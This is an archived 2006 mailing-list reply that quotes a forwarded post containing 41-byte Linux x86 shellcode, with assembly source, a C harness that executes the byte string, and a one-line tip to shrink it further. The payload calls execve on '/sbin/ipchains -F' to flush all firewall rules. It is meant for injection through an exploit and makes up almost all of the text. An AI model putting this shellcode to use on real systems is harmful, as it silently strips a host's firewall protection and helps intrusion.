[Fwd: [Code-Crunchers] 41 byte shellcode to flush ipchains for Linux x86]

[mmiller at hick.org (mmiller at hick.org)]

People still use ipchains? :)

>  *    push byte 11
>  *    pop eax
>  *    xor edx, edx

cdq man, cdq!

On Fri, Nov 17, 2006 at 06:41:04PM +0100, Jerome Athias wrote:
> /* By Kris Katterjohn 11/15/2006
>  *
>  * 41 byte shellcode to flush ipchains for Linux x86
>  *
>  *
>  *
>  * section .text
>  *
>  *    global _start
>  *
>  * _start:
>  *
>  * ; execve("/sbin/ipchains", { "/sbin/ipchains", "-F", NULL }, NULL)
>  *
>  *    push byte 11
>  *    pop eax
>  *    xor edx, edx
>  *    push edx
>  *    push word 0x462d
>  *    mov ecx, esp
>  *    push edx
>  *    push word 0x736e
>  *    push 0x69616863
>  *    push 0x70692f6e
>  *    push 0x6962732f
>  *    mov ebx, esp
>  *    push edx
>  *    push ecx
>  *    push ebx
>  *    mov ecx, esp
>  *    int 0x80
>  */
>
> main()
> {
>       char shellcode[] =
>               "\x6a\x0b\x58\x31\xd2\x52\x66\x68\x2d\x46"
>               "\x89\xe1\x52\x66\x68\x6e\x73\x68\x63\x68"
>               "\x61\x69\x68\x6e\x2f\x69\x70\x68\x2f\x73"
>               "\x62\x69\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80";
>
>       (*(void (*)()) shellcode)();
> }
>
>
>
> _______________________________________________
> Code-Crunchers mailing list
> Code-Crunchers at whitestar.linuxbox.org
> http://whitestar.linuxbox.org/mailman/listinfo/code-crunchers